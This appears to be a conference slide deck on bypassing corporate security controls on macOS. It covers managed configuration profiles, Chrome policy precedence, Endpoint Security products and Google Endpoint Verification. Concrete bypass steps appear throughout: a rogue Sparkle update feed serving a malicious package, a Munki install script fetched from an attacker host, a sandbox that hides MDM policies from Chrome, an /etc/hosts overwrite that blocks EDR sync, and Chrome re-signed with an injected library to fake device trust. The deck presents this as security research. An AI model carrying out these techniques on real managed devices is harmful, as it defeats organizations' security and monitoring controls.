Bypassing Corporate Controls On Mac Devices

Adwiteeya Agrawal & Ian Foster
About Us

Adwiteeya Agrawal

- Doing security for the last 10+ years
- Masters in InfoSec from CMU’17
- Current interest areas include MacOS security, Purple teaming and Cloud security.
- Hobbies include hiking with my dog and Origami.

https://www.linkedin.com/in/adwiteeya.agrawal
About Us

Ian Foster

- Specializes in offensive infrastructure and research.
- Runs [dns.coffee](http://dns.coffee) a historical DNS database as well as a hobby research ISP providing internet connectivity to non-profits.
- Helps run HardWired contest in Packet Hacking Village
Contents

01 Mobile Device Management
- Configuration Profiles
- Managed Browsers

02 Endpoint Security
- Endpoint Security, System Extensions
- Analysing ES Products

03 Device Trust
- Introduction to Device Trust
- Google Endpoint Verification
Mobile Device Management
The need for MDM

- **Management of Corporate Devices**
  "A service that lets an administrator remotely manage enrolled devices."
  
  - Apple Deployment Glossary

- **Functionality**
  - Query Information about the device, installed applications
  - Setup security settings
  - Install an OS update
  - Install & Remove applications
  - Install & Remove Configuration Profiles
  - Remotely erase a device
  - …

- **Enrollment**
  - Manual enrollment
  - Automatic Device Enrollment

https://support.apple.com/en-hk/guide/deployment/dep2de55389a/web
Introduction.mobileconfig
  - XML based Plist files
  - .mobileconfig
  - Information and Management data

Example Properties
  - PayloadType (Apple Supported Payload Types)
    - PayloadName (Apple Supported Payload Types)
  - PayloadScope (User/Device)

Example Property:
```xml
<plist version="1.0">
  <dict>
    <key>PayloadContent</key>
    <array>
      <dict>
        <key>EnableAssessment</key><false/>
        <key>PayloadIdentifier</key><reverse-DNS-style identifier></string>
        <key>PayloadType</key><com.apple.systempolicy.control></string>
        <key>PayloadUUID</key><UUID></string>
        <key>PayloadVersion</key><integer>1</integer>
      </dict>
    </array>
    <key>PayloadDisplayName</key><string>PayloadName</string>
    <key>PayloadIdentifier</key><reverse-DNS-style identifier></string>
    <key>PayloadScope</key><System></string>
    <key>PayloadType</key><Configuration></string>
    <key>PayloadUUID</key><UUID></string>
    <key>PayloadVersion</key><integer>1</integer>
  </dict>
</plist>
```

- sudo profiles show -all -verbose -output stdout-xml | pbcopy
### Configuration Profiles - User Installed

- **Users Can Create their own as well**
  - ProfileCreator ([https://github.com/ProfileCreator/ProfileCreator](https://github.com/ProfileCreator/ProfileCreator))
  - iMazing ([https://imazing.com/profile-editor](https://imazing.com/profile-editor))

- **Restrictions Apply (Can only be installed via MDM)**
  - Privacy Preferences Policy Control
  - System Extensions
  - Extensible Single Sign-On (+Kerberos)
  - Kernel Extension Policy
  - Lights Out Management
  - Network Usage Rules
  - (Ref: [https://support.apple.com/en-hk/guide/deployment/dep01d95140c/web](https://support.apple.com/en-hk/guide/deployment/dep01d95140c/web))

- **Can completely disable user installed configuration profiles**
  - allowUIConfigurationProfileInstallation
  - Only MacOS Version 13 and above
Configuration Profiles & Application Preferences

- Custom Payload Type
  - Example: `com.tinyspeck.slackmacgap`
- `com.apple.ManagedClient.preferences`
  - `mcx_preference_settings`

- Installed as plists under `/Library/Managed Preferences`<`com.tinyspeck.slackmacgap.plist`
  - Modifications overwritten on restarts

- Some Restrictions on user created profiles
  - “Forced” - non-deterministic
  - `<Missing>` - always!
Example 1 - Sparkle Feeds

- Sparkle.Framework
  - Used by application for “update” management.
  - iTerm, Hopper Disassembler, VLC media player, Hex Fiend, TeamViewer

- Setup Using Configuration Profile
  - Managed Preference Name: com.googlecode.iterm2
  - Key: “SUFeeURL”
  - Signed Updates -> Use Link Based Update
  - Use Critical Update
  - Small Automatic Check interval for persistence
  - Disable Gatekeeper

```bash
user@host % plutil -p ~/Applications/iTerm.app/Contents/Info.plist | grep "SU"
"SUFeeURL" => "https://iterm2.com/appcasts-final-modern.xml"
"SUFeeURLForFinal" => "https://iterm2.com/appcasts-final-modern.xml"
"SUFeeURLForTesting" => "https://iterm2.com/appcasts-testing-modern.xml"
"SUPublicEDKey" => "xdqAaOXXBPhMbrtVTe87i6U7yWf7WKaCeR7AAZ0w="
```
Sparkle Feeds - Profile

- Disables Gatekeeper
- Add FeedURL for iterm
- Enable Automatic Update Checks
- Check Every 10s

MCX Preference Settings
Sparkle Feeds - Feed

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:sparkle="http://www.andymatuschak.org/xml-namespaces/sparkle"
  <channel>
    <title>iTerm2 Changelog - Final releases</title>
    <link>http://iterm2.com/appcasts/final.xml</link>
    <description>Stable releases and bugfixes.</description>
    <language>en</language>
    <item>
      <title>iTerm 1337</title>
      <sparkle:version>1337</sparkle:version>
      <sparkle:releaseNotesLink>https://example.com/releasenotes.html</sparkle:releaseNotesLink>
      <pubDate>Mon, 28 Jun 2024 14:30:00 +0500</pubDate>
      <sparkle:tags>
        <sparkle:criticalUpdate></sparkle:criticalUpdate>
      </sparkle:tags>
      <link>https://example.com/maliciouspkg.pkg</link>
    </item>
  </channel>
</rss>

Feed from the configured URL
Sparkle Feeds - Update

A new version of iTerm2 is available!

iTerm2 1337 is now available—you have 3.5.3. Would you like to learn more about this update on the web?

Release Notes:

Hello World!
Sparkle Feeds - 2nd Stage

user@host % xattr maliciouspkg.pkg
com.apple.macl
com.apple.metadata:kMDItemWhereFrom
com.apple.quarantine

pkg has quarantine xattr

xattr not checked
Sparkle Feeds - 2nd Stage -> N stages
Example 2 - Munki Software Management

https://github.com/munki/munki
Example 2 - Munki Software Management

https://attacker.com/Manifest

https://attacker.com/Catalog

managedsoftwareupdate

installcheck_script
Munki Profile Installation
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
  <dict>
    <key>autoremove</key>
    <false/>
    <key>catalogs</key>
    <array>
      <string>testing</string>
    </array>
    <key>display_name</key>
    <string>some-app</string>
    <key>installer_item_hash</key>
    ...
    <key>installcheck_script</key>
    <string>#!/bin/sh
open -a calculator</string>
    <key>installer_item_hash</key>
    ...
  </dict>
</array>
</plist>
Managed Google Chrome
Configuration Profiles : Managed Browser

How preferences are installed and how your browser becomes managed.

- **Cloud Managed**
  - CloudManagedEnrollmentToken
  - DeviceID
    - Usually Serial Number
  - Domain Policy from Google account signed into Chrome

- **Local Settings**
  - local config files
    - /Library/Managed Preferences/
  - .mobileconfig

- **Preferences in Account Profiles**
  - Local settings in chrome
Machine Policy - managed preferences (.mobileconfig)
2. Cloud Machine Policy - DeviceID and CloudManagedEnrollmentToken
3. OS User Policy - /Library/Managed Preferences/
4. Cloud User Policy - Chrome profile from Google workspace
5. Chrome Defaults or User's settings
Chrome Browser Policies: Policy Precedence

View all policies chrome knows about: chrome://policy/
Chrome Browser Policies: Cloud Based Policy

Enrollment Token

Device ID

Account Based
Chrome Browser Policies: Policy Precedence

<table>
<thead>
<tr>
<th>Policy name</th>
<th>Policy value</th>
<th>Source</th>
<th>Applies to</th>
<th>Level</th>
<th>Status</th>
<th>Status Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>BrowserContextAwareAccessSignalsAllowlist</td>
<td></td>
<td>Cloud</td>
<td>Machine</td>
<td>Mandatory</td>
<td>OK</td>
<td></td>
</tr>
<tr>
<td>CloudManagementEnrollmentToken</td>
<td></td>
<td>Platform</td>
<td>Machine</td>
<td>Mandatory</td>
<td>OK</td>
<td></td>
</tr>
<tr>
<td>CloudReportingEnabled</td>
<td>true</td>
<td>Cloud</td>
<td>Machine</td>
<td>Mandatory</td>
<td>OK, Superseding</td>
<td></td>
</tr>
<tr>
<td>CloudUserPolicyMerge</td>
<td>true</td>
<td>Cloud</td>
<td>Current user</td>
<td>Mandatory</td>
<td>OK, Superseding</td>
<td></td>
</tr>
<tr>
<td>CreateThemesSettings</td>
<td></td>
<td>Cloud</td>
<td>Machine</td>
<td>Mandatory</td>
<td>OK, Superseding</td>
<td></td>
</tr>
<tr>
<td>DevToolsGenAISettings</td>
<td></td>
<td>Cloud</td>
<td>Machine</td>
<td>Mandatory</td>
<td>OK, Superseding</td>
<td></td>
</tr>
<tr>
<td>DeveloperToolsAvailability</td>
<td></td>
<td>Cloud</td>
<td>Machine</td>
<td>Mandatory</td>
<td>OK, Superseding</td>
<td></td>
</tr>
</tbody>
</table>

- Cloud and Local based Policies are all merged (if allowed and possible) or superseded.
Chrome Browser Policies: Conflicts
Chrome Browser Policies: Policy Precedence

- What controls whether a policy is allowed to be merged or superseded?
  - There is a policy for that!
MacOS Sandbox

Protect system resources and user data from compromised apps by restricting access to the file system, network connections, and more.

- Added as a security enhancement for Apps
- Can be configured via
  - Custom profiles
  - Entitlements
  - System calls

(versions 1) ; First you get the version
(deny default) ; Then you should indicate the default action when no rule applies
(allow network*) ; You can use wildcards and allow everything
(allow file-read* ; You can specify where to apply the rule
  (subpath "/Users/username/"
  (literal "/tmp/afile"
  (regex "/private/etc/.*")
)
Overriding Chrome Browser Policies: Sandbox

- Block Chrome's ability to learn the policies
- Run Chrome in a MacOS sandbox to:
  - Block reading policy from `/Library/Managed Preferences/`
  - Block reading MDM policies for `com.google.Chrome`
  - Block system call to read `IOPlatformSerialNumber`
- **Note:**
  - Chrome makes use of the same sandbox feature for additional security to isolate different processes
  - Nested Sandboxing is not allowed, so Chrome's helpers must be exempt from this sandbox
Overriding Browser Policies: Sandbox Example

sandbox-exec -f profile.sb "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" --user-data-dir="$DATA_DIR"
Endpoint Security
Introduction Endpoint Security

- **Purpose**
  - Proactive Controls such as DLP, Application Blocking, ED&R
  - Uniform API, No more KEXTs

- **Often Packaged System Extensions**
  - SIP Protected
  - root users can’t unload launch daemon
  - launched before other 3rd party applications

```
sudo launchctl remove C793NB2B2B.com.org.app.extension
Not privileged to remove service.
```

```
plutil -p /Applications/<APP>/Contents/Library/SystemExtensions/<Extension>/Contents/Info.plist | grep "NSEndpointSecurityEarlyBoot"
```

- endpoint-security.client & system-extension.install entitlements
- systemextensionsctl list
How do they work?

- **Components**
  - EndpointSecurity.kext - Provides the kernel functionality.
  - libEndpointSecurity.dylib provides the C API that you can use from the userspace and receive system events.
  - Endpoint Security Application (Ref: 2020 "Endpoint Security & Insecurity" @Scott Knight)

- **The API**
  - Registration **es_new_client** and specify a handler (**es_handler_block_t**)
  - Event Subscription **es_subscribe**
  - Handler **es_handler_block_t**
Analyzing the ES Product with Frida

- Function Hooking

```javascript
const address = Module.findExportByName('libEndpointSecurity.dylib', 'es_subscribe');
Interceptor.attach(address, {
  onEnter: function (args) {
    const eventsPtr = args[1];
    const eventCount = args[2].toInt32();
    console.log('Number of events requested: ' + eventCount);
  }
});
```

- Native Calls

```
// Setup our native call for es_subscriptions
var es_subscriptions_call = new NativeFunction(es_subscriptions, 'int32', ['pointer', 'pointer', 'pointer']);
var mem = Memory.alloc(1000);
var count = ptr(mem);
var event_arr = ptr(mem.add(0x10));
Interceptor.attach(es_respond_auth_result, {
  onEnter: function (args) {
    const client_ptr = args[0];
    // Get subscriptions using that ptr
    var status = es_subscriptions_call(client_ptr, count, event_arr);
    var eventCount = count.readInt();
  }
});
```

Ref: enumerate_es_client_subscriptions.js by @Brandon7CC
### Interesting Function

<table>
<thead>
<tr>
<th>Information</th>
<th>Setup</th>
<th>Event Handling</th>
</tr>
</thead>
<tbody>
<tr>
<td>Number of Clients</td>
<td>es_new_client</td>
<td>N/A</td>
</tr>
<tr>
<td>Subscribed Events</td>
<td>es_subscribe</td>
<td>es_retain_message, es_release_message</td>
</tr>
<tr>
<td></td>
<td></td>
<td>es_respond_auth_result -&gt; es_subscriptions</td>
</tr>
<tr>
<td>Muting</td>
<td>es_mute_path_events</td>
<td>es_respond_auth_result -&gt; es_muted_path_events</td>
</tr>
<tr>
<td></td>
<td>es_mute_process_events</td>
<td>es_respond_auth_result -&gt; es_muted_process_events</td>
</tr>
<tr>
<td>Invert Muting</td>
<td>es_invert_muting</td>
<td>//Same as above</td>
</tr>
<tr>
<td>Message Retention</td>
<td>N/A</td>
<td>es_retain_message</td>
</tr>
</tbody>
</table>
Endpoint Security Event Types

- 149 total events as of time of writing (ESMessage.h)
- 2 Event Types
  - **ES_EVENT_TYPE_NOTIFY**
    - Generated after an event has occurred.
  - **ES_EVENT_TYPE_AUTH**
    - Generated before an event has occurred.
    - ES_AUTH_RESULT_ALLOW or ES_AUTH_RESULT_DENY
    - All registered clients receive the event at the same time and only 1 DENY is required to drop the event.
Analyzing Event Subscriptions (Examples)

- Subset event registration from a DLP
  - Missing “LINK”
    - `ES_EVENT_TYPE_AUTH_CREATE`
    - `ES_EVENT_TYPE_AUTH_OPEN`
    - `ES_EVENT_TYPE_AUTH_CLONE`
    - `ES_EVENT_TYPE_AUTH_COPYFILE`
    - `ES_EVENT_TYPE_AUTH_GETATTRLIST`
    - `ES_EVENT_TYPE_AUTH_RENAME`
    - `ES_EVENT_TYPE_NOTIFY_EXIT`
    - `ES_EVENT_TYPE_NOTIFY_EXEC`
    - `ES_EVENT_TYPE_NOTIFY_UIPC_CONNECT`
    - `ES_EVENT_TYPE_NOTIFY_UNLINK`
    - `ES_EVENT_TYPE_NOTIFY_GETATTRLIST`
    - `ES_EVENT_TYPE_NOTIFY_CLOSE`
    - `ES_EVENT_TYPE_NOTIFY_MOUNT`
    - `ES_EVENT_TYPE_NOTIFY_UNMOUNT`

- Subset Tamper Protection Client from Application Allowlisting
  - Missing “COPY_FILE”
    - `ES_EVENT_TYPE_AUTH_KEXTLOAD`
    - `ES_EVENT_TYPE_AUTH_RENAME`
    - `ES_EVENT_TYPE_AUTH_UNLINK`

- Subset EDR’s blocking client
  - No “MMAP” (DYLD_INSERT_LIBRARIES)
    - `ES_EVENT_TYPE_AUTH_EXEC`
    - `ES_EVENT_TYPE_NOTIFY_FORK`
    - `ES_EVENT_TYPE_NOTIFY_EXIT`
User-Space Eventing

- Kernel Space events (eg: fork, exec) -> 2022 ->
  User Space Events (eg: XProtect, screensharing)

- Entitlement required to “create” an event
  - com.apple.private.endpoint-security.submit.<event>

- API
  - libEndpointSecuritySystem.dylib
  - ess_notify_<event>

- Only support NOTIFY -> Custom detections!
  - Example: backgroundtaskmanagementd generates:
    - ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD
    - ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_REMOVE
  - Avoid “Login Items, Launch Daemon, Launch Agent”
  - Alternatives: Folder Actions(@its_a_feature_), Widgets (@theevilbit), application plugins

```
user@example % sudo codesign -d --entitlement -
/usr/bin/sudo
Executable=/usr/bin/sudo
[Dict]
  [Key] com.apple.private.endpoint-security.submit.sudo
  [Value] [Bool] true
```

Userspace eventing entitlement for sudo
# Caution Against user-space events

<table>
<thead>
<tr>
<th>Tactic</th>
<th>Events</th>
</tr>
</thead>
<tbody>
<tr>
<td>Initial Access</td>
<td>ES_EVENT_TYPE_NOTIFY_XP_MALWARE_DETECTED</td>
</tr>
<tr>
<td></td>
<td>ES_EVENT_TYPE_NOTIFY_XP_MALWARE_REMEDIATED</td>
</tr>
<tr>
<td></td>
<td>ES_EVENT_TYPE_NOTIFY_PROFILE_ADD</td>
</tr>
<tr>
<td></td>
<td>ES_EVENT_TYPE_NOTIFY_PROFILE_REMOVE</td>
</tr>
<tr>
<td>Persistence</td>
<td>ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD</td>
</tr>
<tr>
<td></td>
<td>ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_REMOVE</td>
</tr>
<tr>
<td></td>
<td>ES_EVENT_TYPE_NOTIFY_OD_CREATE_USER</td>
</tr>
<tr>
<td>Privilege Escalation</td>
<td>ES_EVENT_TYPE_NOTIFY_SUDO</td>
</tr>
<tr>
<td></td>
<td>ES_EVENT_TYPE_NOTIFY_SU</td>
</tr>
<tr>
<td>Lateral Movement</td>
<td>ES_EVENT_TYPE_NOTIFY_SCREENSHARING_ATTACH</td>
</tr>
<tr>
<td></td>
<td>ES_EVENT_TYPE_NOTIFY_OPENSSH_LOGIN</td>
</tr>
<tr>
<td></td>
<td>ES_EVENT_TYPE_NOTIFY_OPENSSH_LOGOUT</td>
</tr>
</tbody>
</table>

Ref: https://github.com/redcanaryco/mac-monitor
# Mutting and Invert Mutting

**Muting**
- Do not want events from this “path” or “process”
- Can specify particular events that should be “muted”
- Used for reducing noise from the system.
- Endpoint Security automatically adds 27 such paths.

**Invert Mutting**
- Only interested in events from this “path” or “process”
- You typically first mute and then invert it.
- Used for tamper protection against configs/rules.

## Subscribed Events
- ES_EVENT_TYPE_AUTH_CREATE
- ES_EVENT_TYPE_AUTH_OPEN
- ES_EVENT_TYPE_AUTH_CLONE
- ES_EVENT_TYPE_AUTH_COPYFILE
- ES_EVENT_TYPE_AUTH_GETATTRLIST
- ES_EVENT_TYPE_AUTH_RENAME

## Muted Paths
- /Applications/<SELF>.app
- /usr/bin/
- /Library/SystemExtensions/
- /System/Library/Frameworks/
- /sbin/launchd

A DLP Product’s muted paths for core-functionality.

<table>
<thead>
<tr>
<th>Subscribed Events</th>
<th>Muted Paths</th>
</tr>
</thead>
<tbody>
<tr>
<td>ES_EVENT_TYPE_AUTH_KEXTLOAD</td>
<td>/var/db/…/events.db</td>
</tr>
<tr>
<td>ES_EVENT_TYPE_AUTH_RENAME</td>
<td>/var/db/…/rules.db</td>
</tr>
<tr>
<td>ES_EVENT_TYPE_AUTH_UNLINK</td>
<td></td>
</tr>
</tbody>
</table>
Misc ES Limitations

- Muting and Invert muting is too-broad.
  - Usage of custom local configuration files for advanced filtering
  - Examples user-specific directories, specific file types, compilers
  - Exceptions of shared across ES Products
  - Worst Case - Editable local configurations

- ES Applications need to make decisions quickly.
  - Kernel can hold a limited number of items
  - Application terminated if too slow
  - Small changes tweaks work:
    - `sudo -S bash -c 'echo "127.0.0.1 <remote edr sync server>" >> /etc/hosts'` -> Blocked
    - `sudo -S bash -c 'cp malicious_hosts /etc/hosts'` -> Allowed
Several Applications available to log events generated on the system.

- ESFPlayground offers dynamically changing subscribed events
- eslogger provides verbose output
  - Introduced in 2022 with MacOS 13.0 Ventura
  - List support events:
    - % eslogger --list-events
  - Example to log all exec events:
    - % sudo eslogger exec > exec.log

- Mac Monitor offers event muting, correlation, process tree generation and more!
ES Analysis Caveats

- While most EDR products will be ES Clients, they can leverage additional components for Telemetry.
  - Browser Extensions
  - Network System Extension
  - Unified Logging
    - Custom collectors will typically call “log show”
Device Trust: Chrome Endpoint Verification
Endpoint Verification is a Chrome extension that gathers attributes about the device it's installed on. Using these attributes, Endpoint Verification creates an inventory of devices running Chrome OS and Chrome Browser that access your organization's data.

Part of a larger "Device Trust" strategy
Endpoint Verification

- Chrome Extension with special privileges to collect client metrics
  - Serial Number & model
  - IP/MAC addresses & hostname
  - OS version & update status
  - etc..

- HTTP servers gate access
  - query reported data
  - verify the data matches expected values
  - complies with policy

Full list of metrics collected:
[https://cloud.google.com/endpoint-verification/docs/device-information](https://cloud.google.com/endpoint-verification/docs/device-information)
Abusing Endpoint Verification

- The client (Chrome) is effectively self-reporting its state
- The client can lie....
  - modify Chrome source code
  - intercept Chrome's system calls and fake responses
    - **DYLD_INSERT_LIBRARIES**
- This can allow an otherwise untrustworthy client to appear trusted
- Still requires valid credentials to the end resource
  - Username/Password/2FA
  - Cookies....

```
export DYLD_INSERT_LIBRARIES="override_chrome.dylib"
codesign --remove-signature "Google Chrome.app"
codesign --force --deep --sign - "Google Chrome.app"
```
Chrome Endpoint Verification Bypass Demo
Summary

- Configuration Profiles
  - Managed Preferences & Initial Access
- Managed Browsers
  - Policy Precedence and policy override
- MacOS Sandbox
  - Using sandbox to bypass Browser Policies
- Endpoint Security
  - Internals and Endpoint Security bypasses
- Chrome Endpoint Verification
Thank you!